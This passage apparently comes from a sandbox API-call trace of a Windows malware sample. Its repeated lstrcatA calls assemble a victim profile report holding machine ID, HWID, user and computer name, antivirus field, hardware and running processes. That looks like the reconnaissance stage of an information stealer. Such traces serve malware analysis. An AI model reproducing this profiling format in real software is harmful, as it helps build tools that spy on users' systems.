svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- "
[0054.882] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- ", lpString2="now.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe"
[0054.882] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe ["
[0054.882] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d938
[0054.882] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9c8
[0054.882] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.882] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [", lpString2="1556" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556"
[0054.882] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- 